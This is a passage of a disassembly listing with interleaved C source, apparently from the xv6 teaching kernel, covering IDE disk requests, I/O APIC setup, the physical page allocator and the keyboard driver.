8010216b: a1 64 a5 10 80 mov 0x8010a564,%eax
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
80102170: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102177: 85 c0 test %eax,%eax
80102179: 75 07 jne 80102182 <iderw+0x62>
8010217b: eb 4e jmp 801021cb <iderw+0xab>
8010217d: 8d 76 00 lea 0x0(%esi),%esi
80102180: 89 d0 mov %edx,%eax
80102182: 8b 50 58 mov 0x58(%eax),%edx
80102185: 85 d2 test %edx,%edx
80102187: 75 f7 jne 80102180 <iderw+0x60>
80102189: 83 c0 58 add $0x58,%eax
;
*pp = b;
8010218c: 89 18 mov %ebx,(%eax)
// Start disk if necessary.
if(idequeue == b)
8010218e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
80102194: 74 3c je 801021d2 <iderw+0xb2>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102196: 8b 03 mov (%ebx),%eax
80102198: 83 e0 06 and $0x6,%eax
8010219b: 83 f8 02 cmp $0x2,%eax
8010219e: 74 1a je 801021ba <iderw+0x9a>
sleep(b, &idelock);
801021a0: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp)
801021a7: 80
801021a8: 89 1c 24 mov %ebx,(%esp)
801021ab: e8 f0 1c 00 00 call 80103ea0 <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801021b0: 8b 13 mov (%ebx),%edx
801021b2: 83 e2 06 and $0x6,%edx
801021b5: 83 fa 02 cmp $0x2,%edx
801021b8: 75 e6 jne 801021a0 <iderw+0x80>
sleep(b, &idelock);
}
release(&idelock);
801021ba: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
801021c1: 83 c4 14 add $0x14,%esp
801021c4: 5b pop %ebx
801021c5: 5d pop %ebp
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
}
release(&idelock);
801021c6: e9 05 23 00 00 jmp 801044d0 <release>
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021cb: b8 64 a5 10 80 mov $0x8010a564,%eax
801021d0: eb ba jmp 8010218c <iderw+0x6c>
;
*pp = b;
// Start disk if necessary.
if(idequeue == b)
idestart(b);
801021d2: 89 d8 mov %ebx,%eax
801021d4: e8 57 fd ff ff call 80101f30 <idestart>
801021d9: eb bb jmp 80102196 <iderw+0x76>
iderw(struct buf *b)
{
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
801021db: c7 04 24 76 71 10 80 movl $0x80107176,(%esp)
801021e2: e8 79 e1 ff ff call 80100360 <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
panic("iderw: ide disk 1 not present");
801021e7: c7 04 24 a1 71 10 80 movl $0x801071a1,(%esp)
801021ee: e8 6d e1 ff ff call 80100360 <panic>
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
801021f3: c7 04 24 8c 71 10 80 movl $0x8010718c,(%esp)
801021fa: e8 61 e1 ff ff call 80100360 <panic>
801021ff: 90 nop
80102200 <ioapicinit>:
void
ioapicinit(void)
{
int i, id, maxintr;
if(!ismp)
80102200: a1 84 27 11 80 mov 0x80112784,%eax
80102205: 85 c0 test %eax,%eax
80102207: 0f 84 9b 00 00 00 je 801022a8 <ioapicinit+0xa8>
ioapic->data = data;
}
void
ioapicinit(void)
{
8010220d: 55 push %ebp
8010220e: 89 e5 mov %esp,%ebp
80102210: 56 push %esi
80102211: 53 push %ebx
80102212: 83 ec 10 sub $0x10,%esp
int i, id, maxintr;
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
80102215: c7 05 54 26 11 80 00 movl $0xfec00000,0x80112654
8010221c: 00 c0 fe
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
8010221f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
80102226: 00 00 00
return ioapic->data;
80102229: 8b 15 54 26 11 80 mov 0x80112654,%edx
8010222f: 8b 42 10 mov 0x10(%edx),%eax
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80102232: c7 02 00 00 00 00 movl $0x0,(%edx)
return ioapic->data;
80102238: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010223e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102245: c1 e8 10 shr $0x10,%eax
80102248: 0f b6 f0 movzbl %al,%esi
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
return ioapic->data;
8010224b: 8b 43 10 mov 0x10(%ebx),%eax
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
8010224e: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102251: 39 c2 cmp %eax,%edx
80102253: 74 12 je 80102267 <ioapicinit+0x67>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102255: c7 04 24 c0 71 10 80 movl $0x801071c0,(%esp)
8010225c: e8 ef e3 ff ff call 80100650 <cprintf>
80102261: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
80102267: ba 10 00 00 00 mov $0x10,%edx
8010226c: 31 c0 xor %eax,%eax
8010226e: eb 02 jmp 80102272 <ioapicinit+0x72>
80102270: 89 cb mov %ecx,%ebx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102272: 89 13 mov %edx,(%ebx)
ioapic->data = data;
80102274: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
8010227a: 8d 48 20 lea 0x20(%eax),%ecx
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
8010227d: 81 c9 00 00 01 00 or $0x10000,%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102283: 83 c0 01 add $0x1,%eax
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102286: 89 4b 10 mov %ecx,0x10(%ebx)
80102289: 8d 4a 01 lea 0x1(%edx),%ecx
8010228c: 83 c2 02 add $0x2,%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
8010228f: 89 0b mov %ecx,(%ebx)
ioapic->data = data;
80102291: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102297: 39 c6 cmp %eax,%esi
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102299: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801022a0: 7d ce jge 80102270 <ioapicinit+0x70>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
801022a2: 83 c4 10 add $0x10,%esp
801022a5: 5b pop %ebx
801022a6: 5e pop %esi
801022a7: 5d pop %ebp
801022a8: f3 c3 repz ret
801022aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801022b0 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
if(!ismp)
801022b0: 8b 15 84 27 11 80 mov 0x80112784,%edx
}
}
void
ioapicenable(int irq, int cpunum)
{
801022b6: 55 push %ebp
801022b7: 89 e5 mov %esp,%ebp
801022b9: 8b 45 08 mov 0x8(%ebp),%eax
if(!ismp)
801022bc: 85 d2 test %edx,%edx
801022be: 74 29 je 801022e9 <ioapicenable+0x39>
return;
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801022c0: 8d 48 20 lea 0x20(%eax),%ecx
801022c3: 8d 54 00 10 lea 0x10(%eax,%eax,1),%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022c7: a1 54 26 11 80 mov 0x80112654,%eax
801022cc: 89 10 mov %edx,(%eax)
ioapic->data = data;
801022ce: a1 54 26 11 80 mov 0x80112654,%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022d3: 83 c2 01 add $0x1,%edx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022d6: 89 48 10 mov %ecx,0x10(%eax)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022d9: 8b 4d 0c mov 0xc(%ebp),%ecx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022dc: 89 10 mov %edx,(%eax)
ioapic->data = data;
801022de: a1 54 26 11 80 mov 0x80112654,%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022e3: c1 e1 18 shl $0x18,%ecx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022e6: 89 48 10 mov %ecx,0x10(%eax)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
}
801022e9: 5d pop %ebp
801022ea: c3 ret
801022eb: 66 90 xchg %ax,%ax
801022ed: 66 90 xchg %ax,%ax
801022ef: 90 nop
801022f0 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
801022f0: 55 push %ebp
801022f1: 89 e5 mov %esp,%ebp
801022f3: 53 push %ebx
801022f4: 83 ec 14 sub $0x14,%esp
801022f7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
801022fa: f7 c3 ff 0f 00 00 test $0xfff,%ebx
80102300: 75 7c jne 8010237e <kfree+0x8e>
80102302: 81 fb 28 5d 11 80 cmp $0x80115d28,%ebx
80102308: 72 74 jb 8010237e <kfree+0x8e>
8010230a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102310: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102315: 77 67 ja 8010237e <kfree+0x8e>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102317: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010231e: 00
8010231f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102326: 00
80102327: 89 1c 24 mov %ebx,(%esp)
8010232a: e8 f1 21 00 00 call 80104520 <memset>
if(kmem.use_lock)
8010232f: 8b 15 94 26 11 80 mov 0x80112694,%edx
80102335: 85 d2 test %edx,%edx
80102337: 75 37 jne 80102370 <kfree+0x80>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102339: a1 98 26 11 80 mov 0x80112698,%eax
8010233e: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
80102340: a1 94 26 11 80 mov 0x80112694,%eax
if(kmem.use_lock)
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
80102345: 89 1d 98 26 11 80 mov %ebx,0x80112698
if(kmem.use_lock)
8010234b: 85 c0 test %eax,%eax
8010234d: 75 09 jne 80102358 <kfree+0x68>
release(&kmem.lock);
}
8010234f: 83 c4 14 add $0x14,%esp
80102352: 5b pop %ebx
80102353: 5d pop %ebp
80102354: c3 ret
80102355: 8d 76 00 lea 0x0(%esi),%esi
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
80102358: c7 45 08 60 26 11 80 movl $0x80112660,0x8(%ebp)
}
8010235f: 83 c4 14 add $0x14,%esp
80102362: 5b pop %ebx
80102363: 5d pop %ebp
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
80102364: e9 67 21 00 00 jmp 801044d0 <release>
80102369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
if(kmem.use_lock)
acquire(&kmem.lock);
80102370: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
80102377: e8 24 20 00 00 call 801043a0 <acquire>
8010237c: eb bb jmp 80102339 <kfree+0x49>
kfree(char *v)
{
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
panic("kfree");
8010237e: c7 04 24 f2 71 10 80 movl $0x801071f2,(%esp)
80102385: e8 d6 df ff ff call 80100360 <panic>
8010238a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102390 <freerange>:
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
80102390: 55 push %ebp
80102391: 89 e5 mov %esp,%ebp
80102393: 56 push %esi
80102394: 53 push %ebx
80102395: 83 ec 10 sub $0x10,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102398: 8b 45 08 mov 0x8(%ebp),%eax
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
8010239b: 8b 75 0c mov 0xc(%ebp),%esi
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010239e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
801023a4: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023aa: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
801023b0: 39 de cmp %ebx,%esi
801023b2: 73 08 jae 801023bc <freerange+0x2c>
801023b4: eb 18 jmp 801023ce <freerange+0x3e>
801023b6: 66 90 xchg %ax,%ax
801023b8: 89 da mov %ebx,%edx
801023ba: 89 c3 mov %eax,%ebx
kfree(p);
801023bc: 89 14 24 mov %edx,(%esp)
801023bf: e8 2c ff ff ff call 801022f0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023c4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
801023ca: 39 f0 cmp %esi,%eax
801023cc: 76 ea jbe 801023b8 <freerange+0x28>
kfree(p);
}
801023ce: 83 c4 10 add $0x10,%esp
801023d1: 5b pop %ebx
801023d2: 5e pop %esi
801023d3: 5d pop %ebp
801023d4: c3 ret
801023d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801023d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023e0 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801023e0: 55 push %ebp
801023e1: 89 e5 mov %esp,%ebp
801023e3: 56 push %esi
801023e4: 53 push %ebx
801023e5: 83 ec 10 sub $0x10,%esp
801023e8: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
801023eb: c7 44 24 04 f8 71 10 movl $0x801071f8,0x4(%esp)
801023f2: 80
801023f3: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801023fa: e8 21 1f 00 00 call 80104320 <initlock>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023ff: 8b 45 08 mov 0x8(%ebp),%eax
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
80102402: c7 05 94 26 11 80 00 movl $0x0,0x80112694
80102409: 00 00 00
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010240c: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102412: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102418: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
8010241e: 39 de cmp %ebx,%esi
80102420: 73 0a jae 8010242c <kinit1+0x4c>
80102422: eb 1a jmp 8010243e <kinit1+0x5e>
80102424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102428: 89 da mov %ebx,%edx
8010242a: 89 c3 mov %eax,%ebx
kfree(p);
8010242c: 89 14 24 mov %edx,(%esp)
8010242f: e8 bc fe ff ff call 801022f0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102434: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010243a: 39 c6 cmp %eax,%esi
8010243c: 73 ea jae 80102428 <kinit1+0x48>
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
freerange(vstart, vend);
}
8010243e: 83 c4 10 add $0x10,%esp
80102441: 5b pop %ebx
80102442: 5e pop %esi
80102443: 5d pop %ebp
80102444: c3 ret
80102445: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102450 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
80102450: 55 push %ebp
80102451: 89 e5 mov %esp,%ebp
80102453: 56 push %esi
80102454: 53 push %ebx
80102455: 83 ec 10 sub $0x10,%esp
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102458: 8b 45 08 mov 0x8(%ebp),%eax
freerange(vstart, vend);
}
void
kinit2(void *vstart, void *vend)
{
8010245b: 8b 75 0c mov 0xc(%ebp),%esi
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010245e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102464: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010246a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102470: 39 de cmp %ebx,%esi
80102472: 73 08 jae 8010247c <kinit2+0x2c>
80102474: eb 18 jmp 8010248e <kinit2+0x3e>
80102476: 66 90 xchg %ax,%ax
80102478: 89 da mov %ebx,%edx
8010247a: 89 c3 mov %eax,%ebx
kfree(p);
8010247c: 89 14 24 mov %edx,(%esp)
8010247f: e8 6c fe ff ff call 801022f0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102484: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010248a: 39 c6 cmp %eax,%esi
8010248c: 73 ea jae 80102478 <kinit2+0x28>
void
kinit2(void *vstart, void *vend)
{
freerange(vstart, vend);
kmem.use_lock = 1;
8010248e: c7 05 94 26 11 80 01 movl $0x1,0x80112694
80102495: 00 00 00
}
80102498: 83 c4 10 add $0x10,%esp
8010249b: 5b pop %ebx
8010249c: 5e pop %esi
8010249d: 5d pop %ebp
8010249e: c3 ret
8010249f: 90 nop
801024a0 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
801024a0: 55 push %ebp
801024a1: 89 e5 mov %esp,%ebp
801024a3: 53 push %ebx
801024a4: 83 ec 14 sub $0x14,%esp
struct run *r;
if(kmem.use_lock)
801024a7: a1 94 26 11 80 mov 0x80112694,%eax
801024ac: 85 c0 test %eax,%eax
801024ae: 75 30 jne 801024e0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
801024b0: 8b 1d 98 26 11 80 mov 0x80112698,%ebx
if(r)
801024b6: 85 db test %ebx,%ebx
801024b8: 74 08 je 801024c2 <kalloc+0x22>
kmem.freelist = r->next;
801024ba: 8b 13 mov (%ebx),%edx
801024bc: 89 15 98 26 11 80 mov %edx,0x80112698
if(kmem.use_lock)
801024c2: 85 c0 test %eax,%eax
801024c4: 74 0c je 801024d2 <kalloc+0x32>
release(&kmem.lock);
801024c6: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801024cd: e8 fe 1f 00 00 call 801044d0 <release>
return (char*)r;
}
801024d2: 83 c4 14 add $0x14,%esp
801024d5: 89 d8 mov %ebx,%eax
801024d7: 5b pop %ebx
801024d8: 5d pop %ebp
801024d9: c3 ret
801024da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
kalloc(void)
{
struct run *r;
if(kmem.use_lock)
acquire(&kmem.lock);
801024e0: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801024e7: e8 b4 1e 00 00 call 801043a0 <acquire>
801024ec: a1 94 26 11 80 mov 0x80112694,%eax
801024f1: eb bd jmp 801024b0 <kalloc+0x10>
801024f3: 66 90 xchg %ax,%ax
801024f5: 66 90 xchg %ax,%ax
801024f7: 66 90 xchg %ax,%ax
801024f9: 66 90 xchg %ax,%ax
801024fb: 66 90 xchg %ax,%ax
801024fd: 66 90 xchg %ax,%ax
801024ff: 90 nop
80102500 <kbdgetc>:
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102500: ba 64 00 00 00 mov $0x64,%edx
80102505: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
80102506: a8 01 test $0x1,%al
80102508: 0f 84 ba 00 00 00 je 801025c8 <kbdgetc+0xc8>
8010250e: b2 60 mov $0x60,%dl
80102510: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102511: 0f b6 c8 movzbl %al,%ecx
if(data == 0xE0){
80102514: 81 f9 e0 00 00 00 cmp $0xe0,%ecx
8010251a: 0f 84 88 00 00 00 je 801025a8 <kbdgetc+0xa8>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102520: 84 c0 test %al,%al
80102522: 79 2c jns 80102550 <kbdgetc+0x50>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102524: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx
8010252a: f6 c2 40 test $0x40,%dl
8010252d: 75 05 jne 80102534 <kbdgetc+0x34>
8010252f: 89 c1 mov %eax,%ecx
80102531: 83 e1 7f and $0x7f,%ecx
shift &= ~(shiftcode[data] | E0ESC);
80102534: 0f b6 81 20 73 10 80 movzbl -0x7fef8ce0(%ecx),%eax
8010253b: 83 c8 40 or $0x40,%eax
8010253e: 0f b6 c0 movzbl %al,%eax
80102541: f7 d0 not %eax
80102543: 21 d0 and %edx,%eax
80102545: a3 b4 a5 10 80 mov %eax,0x8010a5b4
return 0;
8010254a: 31 c0 xor %eax,%eax
8010254c: c3 ret
8010254d: 8d 76 00 lea 0x0(%esi),%esi
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102550: 55 push %ebp
80102551: 89 e5 mov %esp,%ebp
80102553: 53 push %ebx
80102554: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx
} else if(data & 0x80){
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
8010255a: f6 c3 40 test $0x40,%bl
8010255d: 74 09 je 80102568 <kbdgetc+0x68>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010255f: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
80102562: 83 e3 bf and $0xffffffbf,%ebx
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102565: 0f b6 c8 movzbl %al,%ecx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
80102568: 0f b6 91 20 73 10 80 movzbl -0x7fef8ce0(%ecx),%edx
shift ^= togglecode[data];
8010256f: 0f b6 81 20 72 10 80 movzbl -0x7fef8de0(%ecx),%eax
// Last character was an E0 escape; or with 0x80
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
80102576: 09 da or %ebx,%edx
shift ^= togglecode[data];
80102578: 31 c2 xor %eax,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010257a: 89 d0 mov %edx,%eax
8010257c: 83 e0 03 and $0x3,%eax
8010257f: 8b 04 85 00 72 10 80 mov -0x7fef8e00(,%eax,4),%eax
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
80102586: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
8010258c: 83 e2 08 and $0x8,%edx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
8010258f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax
if(shift & CAPSLOCK){
80102593: 74 0b je 801025a0 <kbdgetc+0xa0>
if('a' <= c && c <= 'z')
80102595: 8d 50 9f lea -0x61(%eax),%edx
80102598: 83 fa 19 cmp $0x19,%edx
8010259b: 77 1b ja 801025b8 <kbdgetc+0xb8>
c += 'A' - 'a';
8010259d: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
801025a0: 5b pop %ebx
801025a1: 5d pop %ebp
801025a2: c3 ret
801025a3: 90 nop
801025a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((st & KBS_DIB) == 0)
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
801025a8: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
return 0;
801025af: 31 c0 xor %eax,%eax
801025b1: c3 ret
801025b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
if('a' <= c && c <= 'z')
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
801025b8: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801025bb: 8d 50 20 lea 0x20(%eax),%edx
801025be: 83 f9 19 cmp $0x19,%ecx
801025c1: 0f 46 c2 cmovbe %edx,%eax
}
return c;
801025c4: eb da jmp 801025a0 <kbdgetc+0xa0>
801025c6: 66 90 xchg %ax,%ax
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
return -1;
801025c8: b8 ff ff ff ff mov $0xffffffff,%eax
801025cd: c3 ret
801025ce: 66 90 xchg %ax,%ax
801025d0 <kbdintr>:
return c;
}
void
kbdintr(void)
{
801025d0: 55 push %ebp
801025d1: 89 e5 mov %esp,%ebp
801025d3: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
801025d6: c7 04 24 00 25 10 80 movl $0x80102500,(%esp)
801025dd: e8 ce e1 ff ff call 801007b0 <consoleintr>
}
801025e2: c9 leave
801025e3: c3 ret
801025e4: 66 90 xchg %ax,%ax
801025e6: 66 90 xchg %ax,%ax
801025e8: 66 90 xchg %ax,%ax
801025ea: 66 90 xchg %ax,%ax
801025ec: 66 90 xchg %ax,%ax
801025ee: 66 90 xchg %ax,%ax
801025f0 <fill_rtcdate>:
return inb(CMOS_RETURN);
}
static void fill_rtcdate(struct rtcdate *r)
{
801025f0: 55 push %ebp
801025f1: 89 c1 mov %eax,%ecx
801025f3: 89 e5 mov %esp,%ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025f5: ba 70 00 00 00 mov $0x70,%edx
801025fa: 53 push %ebx
801025fb: 31 c0 xor %eax,%eax
801025fd: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
